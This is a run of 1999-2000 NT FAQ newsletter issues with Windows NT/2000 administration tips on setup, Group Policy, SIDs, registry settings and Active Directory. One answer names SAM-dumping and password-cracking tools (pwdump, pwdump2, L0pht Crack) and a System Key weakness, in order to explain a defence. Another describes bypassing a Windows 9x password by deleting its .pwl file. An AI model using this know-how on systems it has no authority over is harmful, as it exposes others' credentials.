Make you selection and press Enter. Files will be copied and the machine will reboot to the GUI phase of installation When the GUI phase starts click Next The setup program will detect hardware present in the machine, this make take a while The next stage allows the user to select the locales for the computer, click Customize Under the General tab and select the locale, e.g. "English (United Kingdom)". Also click 'Set Default..' to select the system locale and click OK. Click Apply then OK. Under the 'Input Locales' tab you can also set the default locale and remove US if that is not a required installed locale. Click Next Enter a name and organization Enter the license key for the software and click Next Select the license mode, per seat or per server and click Next. You don't have this stage for a Professional installation Enter a computer name and an Administrator password. Click Next Select the components you wish to install and click Next (e.g. DNS under Networking Services) Select a Data and Time zone and click Next The networking components will be installed Once installed select if you want Typical network settings which is TCP/IP using DHCP or use Custom to enter IP address's, install extra protocols etc. Click Next Select a workgroup or domain for the computer and click Next. If joining a domain an account for the domain may be needed if an account has not already been added The components will now be installed on the machine The Start menu items will be added, components registered and temporary files are removed Click Finish The machine will now reboot and installation is complete. You should now configure any components. The first time you logon to a Professional installation it gives the option to create an account to automatically logon as for future startups. You should now install the Command Console as it may save your life! Q. How do I install the Recovery Console? To create a domain controller see 'Q. How do I promote a server to a domain controller?' -------------------------------------------------------------------------------- Q. Password policies assigned to an OU/site GPO do not work. A. Although the password policy branch is available for all Group Policy Objects it is only implemented for GPO's at the domain level so even if you make settings for a GPO for an OU or a site it will have no effect. The only way to apply password settings is as follows: Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers) Right click on the domain and select properties Select the Group Policy tab Select the domain group policy object and select Edit Expand the 'Computer Configuration' branch - 'Windows Settings' - 'Security Settings' - 'Account Policies' - 'Password Policy' You will now be able to set the relevant options When complete close the Group Policy Editor -------------------------------------------------------------------------------- Q. My machine BSOD's whenever I try to watch a DVD, what can I do? A. More and more DVD hardware now works under Windows NT including the Creative Labs Encore bundle which I recently installed in my NT machine but it crashed every time I tried to watch a DVD. After much digging the problem was because DMA was enabled and after disabling DMA it worked fine and I can now happily watch the Matrix while I'm supposed to be working :-) This is not to say you should all disable DMA as its a good thing but if the hardware does not correctly support it problems can occur. For information on setting DMA options see How do I enable bus mastering (DMA) in Windows 2000? and How do I enable Bus Mastering in Windows NT? -------------------------------------------------------------------------------- Q. How do I deploy old applications in Windows 2000 via ZAP files? A. New applications in Windows 2000 have .MSI files which are used to deploy them via Group Policies however your older applications will not have MSI files. In 'How do I create a MSI file from a legacy application?' we saw how to create an MSI file from a legacy application however there is a large amount of work involved with this and an alternative method is available via ZAP files however I should stress MSI is the approach to take where possible. ZAP files are just text files that provide instructions for deploying older applications however there are some restrictions: Applications cannot be assigned to users or computers, they can only be published Applications do not automatically repair themselves Normally require user intervention Do not install with elevated privileges, users require the privilege to install software The ZAP file consists of two sections, the [Application] and [Ext] sections. The application section contains the name of the setup command, a version to display, a friendly name and a URL, for example: [Application] FriendlyName = WinInfo Version 2.2 SetupCommand = setup.exe /unattend DisplayVersion =2.2 Publisher = SavillTech URL = http://www.savilltech.com/wininfo.html The file extension section just lists extensions which should be associated with the new application, e.g. [Ext] SAV= To publish a ZAP file perform the following: Start the Group Policy editor and open a group policy Select the 'User Configuration' branch Expand 'Software Settings' Right click on 'Software installation' and select New - Package Select the File type "ZAW Down-level application packages (*.zap)" and select the created ZAP file. Click Open Select 'Published' from the deployment method and click OK It will now be displayed as a published application -------------------------------------------------------------------------------- Q. How can I change the NetBIOS name of my Windows 2000 domain? A. Even though Windows 2000 names are DNS based, e.g. savilltech.com, a NetBIOS name is also specified during DCPROMO execution for backwards compatibility with older clients/domain controllers and is normally the left most part of the DNS name, e.g. savilltech, although it can be changed to a user specified name. Once this NetBIOS name has been set during DCPROMO execution you cannot change it. The only way would be to demote all domain controllers and recreate the domain but you would lose all objects (although you could dump them out first and them import in again). If you are upgrading a 4.0 domain then during the DCPROMO execution the NetBIOS name cannot be changed. You are stuck with the NetBIOS name of the 4.0 domain but you can of course have a totally different DNS name. -------------------------------------------------------------------------------- Q. What is REXEC? A. Windows NT/2000 ships with a command REXEC.EXE which when used in conjunction with a REXEC daemon (REXECD) can run commands on remote systems, hence the name, Remote EXECution. C:\>rexec 10.129.210.71 -l john@savtech.com dir Password (10.129.210.71:): > rexec:connect:Connection refused rexec: can't establish connection The -l is the name to use on the remote system, here I've used the Windows 200 format, name@domain.com, however you could also use the older domain\name format. Notice in the example the command failed, this is because the remote machine did not have the REXEC daemon installed. This is actually a problem, Windows NT/2000 does not have a REXEC daemon, only the client. REXEC does not only work for NT servers, but also Unix, VMS and anything else that supports REXEC. There are 3rd party solutions, see 'Q. What REXEC daemons (REXECD) are available for NT/2000?' -------------------------------------------------------------------------------- Q. What REXEC daemons (REXECD) are available for NT/2000? A. Microsoft do not provide an EXEC daemon for NT however there are 3rd party solutions: http://www.denicomp.com/rexecnt.htm - Winsock REXECD/NT http://www.ataman.com/products.html#ATRLS - Ataman TCP Remote Logon Services -------------------------------------------------------------------------------- Q. Is build 2195 the final version of Windows 2000? A. Yes, the last build is 2195 which has been released to manufacturing and will be in the shops February 17th 2000. The only difference is the final build will not have the 120 day expiry which the downloaded build 2195 has and that the CD's for 2195 that have been shipped to testers also has. You can check this with WinInfo (http://www.savilltech.com/wininfo.html) Microsoft have changed there minds about the MSDN version however and the Windows 2000 build 2195 shipping with MSDN will be the FULL, no expiry version. In an effort to stop pirating it will have a hologram visible on both sides of the CD covering the entire surface! -------------------------------------------------------------------------------- Q. How can I monitor when the Knowledge Consistency Checker (KCC) is run? A. The KCC which manages the connection objects for inter and intra site replication runs periodically and ascertains if any new objects need creating or existing objects deleted. If you want you can monitor exactly when its execution starts and finishes by performing the following actions: Start the registry editor (Regedit.exe) Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics Double click on '1 Knowledge Consistency Checker' Set the value to 3 (or greater) and click OK Close the registry editor (you don't need to restart the machine for this change to take effect) With this value set to 3 or greater, the KCC will log extra events which you can view using the Event Viewer and viewing the 'Directory Service' branch. Common and useful events are: events 1009 to signify the beginning of KCC check events1013 to signify the end of the KCC check events 1133 information about the KCC check events 1007 to signify the initialization of the KCC events 1015 to signify the stopping of the KCC -------------------------------------------------------------------------------- Q. How do I set an Internet Explorer favorite icon for my web site? A. Internet Explorer 5 allows the setting of an icon for favorites which you can easily enable for your web site. When you create a favorite in IE 5.0 and above it checks the root of the web site for favicon.ico which should be a 16x16 icon or it may be ignored (in Windows 2000 version it handled a 32x32 icon fine). Create the icon with any icon editor such as the one supplied with Visual Studio. You can also manually specify an icon with a different name with the following code snippet NT FAQ Obviously your header section of the HTML will be different from mine but the important part is the LINK REL section. This icon is only used for favorites and will not be checked and read in until the site is added as a favorite. -------------------------------------------------------------------------------- Q. What does System Key actually protect my passwords from? A. System key enables stronger encryption of account passwords stored in the registry in the SAM (Security Account Manager) database. With System key installed the passwords have enhanced encryption in the SAM. Note this is only the passwords and not for example the user name. When System Key encryption has been enabled backups of the SAM database will also be encrypted: For example on back up tapes, RDISK and %systemroot%\repair. Which are often used to crack passwords. System Key is used to make the decrypting or cracking of your passwords from the SAM more difficult and time consuming. Crackers such as L0pht crack , John the Ripper, Crack 5 with NT Extensions are used often to break NT password hashes. These use dictionary and brute force types of techniques. L0pht Crack is now using a form of intelligent brute forcing, which is the next generation of crackers. - System Key prevents SAM dumping with the tool built into L0pht Crack 2.5. - System Key prevents SAM dumping with the tool pwdump. - System Key does not stop SAM dumping with the tool pwdump2 which uses DLL injection techniques different to pwdump. - System Key does not prevent password cracking or decryption. - System Key reuses the keystream used to perform some of the encryption. This significantly reduces the strength of the protection it provides by enabling a well-known cryptanalytic attack to be used against it. Todd Sabin from Bindview (www.bindview.com) and the author of pwdump2 discovered this exploit in December-1999. - System Key still increases the time and complexity to crack password hashes. Note; Pwdump and pwdump2 require administrator access to be used. System Key affects the following system components: %systemroot%\system32\config\sam HKEY_LOCAL_MACHINE\SAM %systemroot%\system32\config\security HKEY_LOCAL_MACHINE\Security and three system security component files: Winlogon.exe, Samsrv.dll, Samlib.dll Also see Q. How do I use the System Key functionality of Service Pack 3? for installing System Key. For more information on System Key see Q143475 at http://support.microsoft.com/support/kb/articles/q143/4/75.asp For information on the "System Key Keystream Reuse" Vulnerability and patch see http://www.microsoft.com/security/bulletins/ms99-056.asp Contributed by Nathan House -------------------------------------------------------------------------------- Q. How do I run a DOS command in WSH? A. Its possible to run a DOS command from inside a WSH program using the following: DIM objShell set objShell = wscript.createObject("wscript.shell") iReturn = objShell.Run("cmd.exe /C set var=hello, 1, TRUE) You could use %Comspec% variable instead of cmd.exe if you wish. The /C closes the command window after the command is completed. The actual command set var=hello just creates an environment variable called var set to hello. -------------------------------------------------------------------------------- Q. The list of domains in the logon box is not updated, what can I do? A. The list of trusted domains should be updated whenever a trust relationship is terminated or created but this is not always the case. To clear the machines cache of domains perform the following: Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Delete the DCache and DCacheUpdate values Close the registry editor Restart the computer -------------------------------------------------------------------------------- Q. I get 'Error occurred getting driver list from inf file. Err=0' when starting the SCSI control panel applet. A. If you start the SCSI control panel applet and select the drivers tab and you received the 'Error occurred getting driver list from inf file file, Err=0' the problem is probably due to the Plug and Play service not running, to fix just start the service. Start the services control panel applet (Start - Settings - Control Panel - Services) Select 'Plug and Play' Click Start Also check the 'Startup' button and make sure its startup is set to automatic. Close the Services control panel applet You could also start from the command line: C:\> net start "plug and play" Thanks to Wyatt Eurich for this tip -------------------------------------------------------------------------------- Q. What is a SID (Security ID)? A. SID stands for Security Identifier and is used within NT/2000 as a value to uniquely identify an object such as a user or a group. The SID assigned to a user becomes part of the access token, which is then attached to any action attempted or process executed by that user or group. If a duplicate SID did exist then all users with this SID would authenticate as what would be seen as the same user. It is possible for cloned machines to have the same SID, which would be seen by the authentication mechanism as the same machine. The SID under normal operation will be unique and will identify an individual object such as a user, group or a machine. A SID contains: User and group security descriptors 48-bit ID authority Revision level Variable sub-authority values For example: S-1-5-21-917267712-1342860078-1792151419-500 Below is a list of the values for SIDs on a default NT 4 installation; Notice the unique value 500 for Administrator and 501 for Guest. - Built-In Users DOMAINNAME\ADMINISTRATOR S-1-5-21-917267712-1342860078-1792151419-500 (=0x1F4) DOMAINNAME\GUEST S-1-5-21-917267712-1342860078-1792151419-501 (=0x1F5) - Built-In Global Groups DOMAINNAME\DOMAIN ADMINS S-1-5-21-917267712-1342860078-1792151419-512 (=0x200) DOMAINNAME\DOMAIN USERS S-1-5-21-917267712-1342860078-1792151419-513 (=0x201) DOMAINNAME\DOMAIN GUESTS S-1-5-21-917267712-1342860078-1792151419-514 (=0x202) - Built-In Local Groups BUILTIN\ADMINISTRATORS S-1-5-32-544 (=0x220) BUILTIN\USERS S-1-5-32-545 (=0x221) BUILTIN\GUESTS S-1-5-32-546 (=0x222) BUILTIN\ACCOUNT OPERATORS S-1-5-32-548 (=0x224) BUILTIN\SERVER OPERATORS S-1-5-32-549 (=0x225) BUILTIN\PRINT OPERATORS S-1-5-32-550 (=0x226) BUILTIN\BACKUP OPERATORS S-1-5-32-551 (=0x227) BUILTIN\REPLICATOR S-1-5-32-552 (=0x228) - Special Groups \CREATOR OWNER S-1-3-0 \EVERYONE S-1-1-0 NT AUTHORITY\NETWORK S-1-5-2 NT AUTHORITY\INTERACTIVE S-1-5-4 NT AUTHORITY\SYSTEM S-1-5-18 NT AUTHORITY\authenticated users S-1-5-11 * * For Windows NT 4.0 Service Pack 3 and later only These values can be displayed by using the utility Getsid.exe from the Windows NT Resource Kit. C:\>getsid \\MACHINE ACCOUNT \\MACHINE ACCOUNT The SID for account MACHINE\ ACCOUNT matches account MACHINE\ ACCOUNT The SID for account MACHINE\ ACCOUNT is S-1-5-21-1271857391-537538043-240200450-4294967295 The SID for account MACHINE\ ACCOUNT is S-1-5-21-1271857391-537538043-240200450-4294967295 For more information, see Q. How can I tell which User has which SID? and Q. What are the problems with workstations having the same SID? For more other information, see http://support.microsoft.com/support/kb/articles/Q163/8/46.asp For information on extracting the SID from an ACE see http://support.microsoft.com/support/kb/articles/q102/1/01.asp For information on how to associate a Username with a Security Identifier (SID) see http://support.microsoft.com/support/kb/articles/Q154/5/99.asp Contributed by Nathan House -------------------------------------------------------------------------------- Q. Large file copies to/from Macintosh crash NT Server, what can I do? A. The problem that was reported to me was that when large files were copies from the server to any of the Mac-clients or from the Mac-clients to the server (about 10-15 MB). The server just crashed and the copying was not completed. If it was a folder with files inside, it just vanished, and nothing was left on the server. The solution was to apply Service Pack 6a to the server which fixed the problem. The exact cause was unknown. Thanks to Paal-V. Hansen -------------------------------------------------------------------------------- Q. Is there a script that will reinstall a service pack and hotfixes then reboot? A. Windows NT suffers the problem of whenever you add/modify a core component you have to reinstall the last service pack and any hotfixes and this can be quite a job. This will not be a problem in Windows 2000 as the system will automatically use the newest files from the base install or service pack when adding components. I knocked a script together below which just applies the service pack and any hotfixes then lets the server/workstation reboot. Ideally store the expanded service pack and hotfixes on a network location and then you/users can run the script to reinstall the service pack/hotfixes. \\morpheus\installation\nt4ws\sp6a\update\update -u -n -o -z -q \\morpheus\installation\nt4ws\sp6a\c2-fix\hotfix -n -z -q -m \\morpheus\installation\nt4ws\sp6a\winlogon-fix\hotfix -n -f -q -m Basically I've got a share called installation on a server Morpheus. Under that I've expanded Service Pack 6a and the two recent hotfixes. The first command installs service pack 6, the -u means unattended mode, -n means not to backup files for uninstall purposes, -o means overwrite OEM files without asking, -z says not to reboot after installing (as we need to install the hotfixes) and -q means quiet mode. Next we install the first hotfix, here we use -n means not to create an uninstall directory, -z means no reboot, -q means quiet and -m for unattended. The above would be repeated for all hotfixes except the last one applied as after the last one we want to reboot so the -z changes to a -f which forces the applications to close at shutdown and allows the reboot. You may want to modify bits of this, maybe add some logic to check the users current service pack version (you could use cmdinfo to check this, http://www.savilltech.com/cmdinfo.html) and then run different service pack/hotfix's depending on that. I don't create uninstalls for any of the installations as this is a re-installation so this would all ready have been done on the initial installation. If you want to use this script to perform an initial installation consider removing the -n switch from all commands. -------------------------------------------------------------------------------- Q. How do I expand a service pack/hotfix without installing? A. Its often useful to have a directory with an expanded service pack/hotfix in to allow faster installation. To expand a service pack to a directory perform the following: Download the full service pack Run the downloaded service pack with a /x at the end, e.g. sp6i386.exe /x You will be asked for a directory to expand to, enter your selection and click OK A completion dialog will be displayed and click OK In the selected folder a subfolder called update will be created. In this folder is update.exe which can be used to install the service pack. To expand a hotfix perform the following: Download the hotfix via FTP from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/ Run the downloaded hotfix with a /x at the end, e.g. q244599i /x You will be asked for a directory to expand to, enter your selection and click OK A completion dialog will be displayed and click OK You will not have a list of files in a directory including hotfix.exe which is used to install the hotfix -------------------------------------------------------------------------------- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- Till next week, take care. John


From: John Savill [john@savilltech.com]
Sent: 11 May 1999 14:57
To: NTFAQ Mailing List
Subject: NT FAQ, 11 May 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Received the Beta 3 CD's as well as Office 2000 and FrontPage 2000 is great! I'm going to start using it instead of HotMetal (which I've not been that happy with).

Standard items:

The NT FAQ book can now be reserved via Amazon.com and should be out June/July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss

New additions last week:

Q. How can I configure proxy settings in Internet Explorer 5.0?
Q. How can I show the context menu without the right mouse button?
Q. A user has forgotten the local Windows 9x password, how can it be reset?
Q. A number of Active Directory descriptions.
Q. How can I create custom error messages for Proxy Server?
Q. How can I make NT see more than 8 units on SCSI?
Q. How can I install Internet Explorer 4.0 without adding the IE icon to the desktop?
Q. How can I automatically kill hung processes when I logoff?
Q. How do I use the Internet Explorer 5.0 repair tool?
Q. How can I change the Info Tip for icons? - Windows 2000

----------------------------------------------------------------------------------

Q. How can I configure proxy settings in Internet Explorer 5.0?

A. To configure LAN Proxy settings in Internet Explorer 5.0 perform the following:

1, Start Internet Explorer
2, From the Tools mention select 'Internet Options'
3, Select the 'Connections' tab
4, Click the 'LAN Settings' button
5, By default the 'Automatically detect settings' option will be selected but this causes a large amount of polling on the network and you may wish to disable this. You can also configure the location of a configuration script.
6, To manually configure check the 'Use a proxy server' and enter the DNS or IP address of the server and the port it uses.
7, Click OK
8, Click OK to the main dialog

The following registry entries can be directly updated instead:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable - Set to 1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer - Set to <proxy server>:port, e.g. proxy:80
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride - When not to use the proxy server. For local set to "<local>" (don't type the quotes but do type the < and >)

--------------------------------------------------------------------------------

Q. How can I show the context menu without the right mouse button?

A. Pressing Shift-F10 will bring up the context menu for any selected item. Just pressing F10 shifts the cursor focus to the first menu item (normally File).

--------------------------------------------------------------------------------

Q. A user has forgotten the local Windows 9x password, how can it be reset?

A. Unlike in a Windows domain, the local Windows 9x passwords are each stored in their own .pwl file in the base Windows directory (C:\windows).

To reset a password just delete the relevant .pwl file, e.g. johnsavi.pwl for John Savill.

--------------------------------------------------------------------------------

Q. A number of Active Directory descriptions.

A. Below are some definitions for the active directory:

ONE SENTENCE SUMMARY OF DNS AND ACTIVE DIRECTORY:

A dns server is used by a client to provide the address of the client's nearest domain controller, which has a copy of Active Directory, which the client then uses to locate whatever object it's looking for.

ONE PARAGRAPH SUMMARY OF DNS AND ACTIVE DIRECTORY:

First a client contacts a dns (domain name system) server which looks up the client's domain, and provides him with the address of the closest dc in that domain. The client proceeds to contact the dc which can then authenticate him. Once authenticated, the client can search Active Directory (a database on the dc) to find objects the client is looking for, like an address for mail, a file, printer, or list of users in a group, etc. If the client cannot contact a dns server, it won't be able to find its domain controller, since only the dns server has the address of it.

ONE PAGE SUMMARY OF DNS AND ACTIVE DIRECTORY:

When dcpromo is performed on a W2K machine named, say, "fido" for the first time creating a new domain, say, "narnia", dcpromo creates two different kinds of "domains". First it creates a domain on the dns server, in our example: "narnia.extest.microsoft.com". This will be found on the extest dns servers, which are in exlab's minilab in bldg 43. Exlab maintains these as community dns servers to save testers the trouble of installing a dns server every time they want to install W2K. Simplified a little, the dns domain on the extest master dns servers looks like this:

extest.microsoft.com
    narnia.extest.microsoft.com
        bigthud dc 172.30.224.34
        blackie dc 172.20.32.13
        etc. (this is very approximate, but functionally identical)

Clients contact the dns server and it looks up the client's domain. Looking for "narnia" the dns server also discovers "bigthud" and "blackie", both dc's of "narnia". Let's say "bigthud" is the closest dc to the client. The dns server would send the client the address of the dc "bigthud", namely, 172.30.224.34. The client connects and accesses the Active Directory domain database stored on "bigthud" to find objects (like printers, file servers, users, groups, organizational units, etc) in the "narnia" domain. "bigthud" also stores links to other domains in the tree "com". Thus, the client can search a whole tree of domains.

If the search needs to go beyond the client's tree of domains, then a version of Active Directory listing the objects in the whole forest is also available. It is called the Global Catalog. The GC can be kept on any dcs in the forest you may choose, or all, but it does not have to be kept on all.

GC is a shorthand way to access an object ANYWHERE in the forest, but it only provides a few of its attributes, you have to go to the domain AD (always on a dc in that domain) to get the whole object. The GC can be configured to provide whatever object attributes you choose, too, not just a rigid default set of them.

To help in creating objects in AD, the dc also keeps a copy of the classes and hierarchy of classes for the whole forest, too. For example, if we had a class of "baseball players", and a derived class "pitchers" (which is just a player with a few records added of strikeouts and no-hitters, etc) then the class structure would be kept in AD in the part called the "Schema". If we then created an actual group of players we would use our Schema classes to make the players as objects (instances of the classes) in Active Directory. We can also add more classes, eg: "football players" and "quarterbacks" to the Schema, and we call that freedom an "extensible Schema".

The schema is a part of the W2K "configuration namespace" kept on all dcs in a forest. A namespace is a range of labels you put on things, eg: a supermarket "aisle" namespace: aisle=cookies, shelf=top, item=oreo. The configuration namespace in W2K consists of a number of defined items such as physical locations, W2k "sites" (a site is a child of a forest, and can contain machines from any domain, only condition being that all machines in a site have fast reliable net connections for dc replication), and "subnets" which are IP address groupings assigned to sites which help further speed up AD replication amongst dc's, eg: "your dc rocks if it's in the IP subnet and W2K site where its friends are".

Active Directory employs LDAP (Lightweight Directory Access Protocol, a standard Internet protocol that many applications use) to access its records. Why? Because its records are STORED on the dc in "LDAP distinguished name format". But what is LDAP distinguished name format? In the following LDAP distinguished name format example "fred" is a user in the "programming" organizational unit in "narnia" domain in "extest" domain in "microsoft" domain in "com" domain:

cn=fred,ou=programming,dc=narnia,dc=extest,dc=microsoft,dc=com

where cn stands for common name, ou stands for organizational unit, and dc in this case stands for "domain component", NOT domain controller. This is how "fred" appears in Active Directory, and a client such as an administrator can access attributes about fred using that syntax, assuming the client has security permissions to do so.

The client's actions are straightforward, as long as the client talks LDAP to Active Directory. However, an action may be done from a client running an application that uses a different name format. To support this, there are two other name formats that can be used (with a little translating) to access Active Directory:

1. "LDAP URL":
Example:
LDAP://server1.narnia.extest.microsoft.com/cn=fred,ou=programming,dc=narni a,dc=extest,dc=microsoft,dc=com.

2. "Active Directory Canonical name":
Example:
narnia.extest.microsoft.com/programming/fred. This last one, "Active Directory Canonical name" is what you'll see in user interfaces in W2K.

--------------------------------------------------------------------------------

Q. How can I create custom error messages for Proxy Server?

A. When a client receives a error from a proxy server (such as a page is not allowed) these error pages can be customised to display anything you require.

Simply place a page named as the error number (example ERROR 10060=10060.htm) in the directory C:\msp\ErrorHtmls and then Stop and Start Msproxy for it to load the new error message.

--------------------------------------------------------------------------------

Q. How can I make NT see more than 8 units on SCSI?

A. By default Windows NT 4.0 will only detect the first eight logical units on a SCSI device.

This has been fixed in Service Pack 5 with the following action:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<Driver Service Name>\Parameters\Device<N>
3, From the Edit menu select Add - DWORD value
4, Enter a name of LargeLuns and press Enter
5, Double-click the new value and set to 1. Click OK
6, Close the registry editor
7, Restart the machine

NT will now support up to 255 SCSI units.

--------------------------------------------------------------------------------

Q. How can I install Internet Explorer 4.0 without adding the IE icon to the desktop?

A. Install using the following command to stop IE adding an icon on the desktop or from becoming the default browser (this will not work if you have installed the Windows Desktop Updated):

C:\> IE4SETUP.EXE /C:"ie4wzd" /S:""#e"" /X /R:N /Q:A /m:0"

--------------------------------------------------------------------------------

Q. How can I automatically kill hung processes when I logoff?

A. When you tell NT to shut down, it first sends shutdown requests to any running processes. Most 32-bit applications honour these requests and shut down, but older 16-bit apps running in the Virtual DOS Machine often won't. When this occurs, the operating system prompts you with a dialog box asking if you want to kill the task, wait for the task to die on its own, or cancel the shutdown. By modifying the Registry, you can automate this process.

You can force NT to kill all running processes on shutdown by performing the following:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_CURRENT_USER\Control Panel\Desktop
3, If a value "AutoEndTasks" does not exist from the Edit menu select New - String Value. Enter a name of AutoEndTasks and press Enter
4, Double click on AutoEndTasks and set to 1. Click OK
5, Close the registry editor

You can also add this key to HKEY_USERS\.DEFAULT\Control Panel\Desktop for new users to inherit.

--------------------------------------------------------------------------------

Q. How do I use the Internet Explorer 5.0 repair tool?

A. The Internet Explorer Repair tool can be used to diagnose and possibly fix problems with Internet Explorer 5. This tool has the following features:

- It is used to identify problems with Internet Explorer caused by the presence of files that are out of date.
- It is used to fix problems caused by the incorrect or incomplete registration of Internet Explorer files.
- It is used to restore or repair the desktop or Start Menu short-cuts for Internet Explorer that have been deleted or do not function properly.

To start the repair tool perform the following:

1, From the Start menu select Settings - Control Panel
2, Double click the Add/Remove Software control panel applet
3, Select 'Microsoft Internet Explorer 5 and Internet Tools'
4, Click the 'Add/Remove' button
5, Select 'Repair Internet Explorer' and click OK
6, Click 'Yes' to the repair confirmation

If you don't have the option in the Add/Remove Software control panel applet it can be run from the command line:

C:\> rundll32 setupwbv.dll,IE5Maintenance "C:\Program Files\Internet Explorer\Setup\SETUP.EXE" /g "C:\WINDOWS\IE Uninstall Log.Txt"

--------------------------------------------------------------------------------

Q. How can I change the Info Tip for icons? - Windows 2000

A. In Windows 2000 when you move the cursor over an icon (such as My Network Places or My Computer) text is displayed explaining the icons use.

This text is stored in a registry entry InfoTip of type String for each CLSID entry and can be changed to any text you want.

For example to change the My Network Places text:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_CLASSES_ROOT\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}
3, Double click InfoTip and change. Click OK
4, Close the registry editor
5, The change take immediate effect.

Other useful entries are (all under HKEY_CLASSES_ROOT\CLSID\):

{20D04FE0-3AEA-1069-A2D8-08002B30309D} My Computer
{450D8FBA-AD25-11D0-98A8-0800361B1103} My Documents
{645FF040-5081-101B-9F08-00AA002F954E} Recylce Bin
{00020D75-0000-0000-C000-000000000046} Microsoft Outlook
{21EC2020-3AEA-1069-A2DD-08002B30309D} Control panel
{2227A280-3AEA-1069-A2DE-08002B30309D} Printers
{7007ACC7-3202-11D1-AAD2-00805FC1270E} Network and dial-up connections
{85BBD920-42A0-1069-A2E4-08002B30309D} Briefcase
{871C5380-42A0-1069-A2EA-08002B30309D} Internet Explorer
{BDEADF00-C265-11d0-BCED-00A0C90AB50F} Web Folders

--------------------------------------------------------------------------------

Till next week, have fun!

John


From: John Savill [john@savilltech.com] Sent: 11 October 1999 19:52 To: NTFAQ Mailing List Subject: ** NT FAQ Mailing, 11 October 1999 ** All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Exchange Server 2000 beta 3 available for download from Microsoft, http://www.microsoft.com/exchange/prodinfo/2000/OrderKit.htm. Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week: Q. Why are my AT and SOON commands not working properly? Q. I get error 'CAPI: The install program could not open the signature file' when installing SP5 hotfixes. Q. I get an event log, Crash Dump is Disabled, why? Q. How can I use an unattended answer script when installing through a bootable CD-ROM? Q. What is MSINFO32.EXE? Q. I'm getting a BSOD at startup with error C0000135. Q. How can I force a check of protected system files in Windows 2000? Q. My Windows 2000 DHCP client has an IP address not in any scopes, how? Q. Where can I get Exchange Server 2000? Q. How can I check who owns subnet x? Q. How can I disable the DLL cache in Windows 2000? Q. How can I convert a binary number to hexadecimal? Q. How can I stop users creating persistent connections? Q. What switches can be used with explorer.exe? ----------------------------------------------------------------- Q. Why are my AT and SOON commands not working properly? A. When you install IE5 on NT, IE replaces the Scheduler service with its own "Task Scheduler:; this messes with the AT and SOON commands (for example, see http://support.microsoft.com/support/kb/articles/Q237/8/40.ASP http://support.microsoft.com/support/kb/articles/Q214/4/20.ASP and other KB articles). Microsoft's documentation on this (and especially how to remove it) is confusing and contradictory. The only article that explains how to revert to the Scheduler service in a way that worked on my machine is: http://support.microsoft.com/support/kb/articles/Q226/3/70.ASP but note that if mstask.inf does not exist you can specify mstask.pnf and the "uninstall" will work. The basics are described below: Internet Explorer 4.x To uninstall the Internet Explorer 4.x Task Scheduler: Click Start, point to Settings, click Control Panel, and then double-click Add/Remove Programs. Click the Install/Uninstall tab, click Task Scheduler 1.0 (Remove Only). Click Add/Remove, and then click Yes when you are prompted to remove Task Scheduler. Click Yes when you are prompted to restart your computer. Internet Explorer 5 To uninstall the Internet Explorer 5 Task Scheduler: Click Start, and then click Run. In the Open box, type the following command and then press ENTER RunDll32 advpack.dll,LaunchINFSectionEx %systemroot%\INF\mstask.inf,,,256 Restart your computer. -------------------------------------------------------------------------------- Q. I get error 'CAPI: The install program could not open the signature file' when installing SP5 hotfixes. A. This is normally a problem if you have the 128bit Service Pack version. CAPI stands for Crypto API. To solve the problem, download the 128 bit encryption update for Internet Explorer 5, apply it, and reboot the system. The hotfixes should then install perfectly -------------------------------------------------------------------------------- Q. I get an event log, Crash Dump is Disabled, why? A. If you get the following event log: "Event ID 43 Description: Crash dump is disabled! NT failed to initialize the boot partition paging file for crash dump. This may be because the system has more than 3.8 gigabytes of physical memory." This is caused if the pagefile size is set to smaller than that of the actual physical RAM in the machine. To correct increase the pagefile size: In Control Panel, double-click System. On the Performance tab, click Change, and then change the minimum size of the page file on the system partition to a value at least the size of physical RAM plus 1 MB. Restart the computer. -------------------------------------------------------------------------------- Q. How can I use an unattended answer script when installing through a bootable CD-ROM? A. With new machines being able to boot off of CD-ROM's, its obviously not possible to specify an unattended answer file via the CD-ROM. Create your .SIF file (the Windows 2000 unattended answer format) and save to a floppy disk as name winnt.sif. Insert the disk when 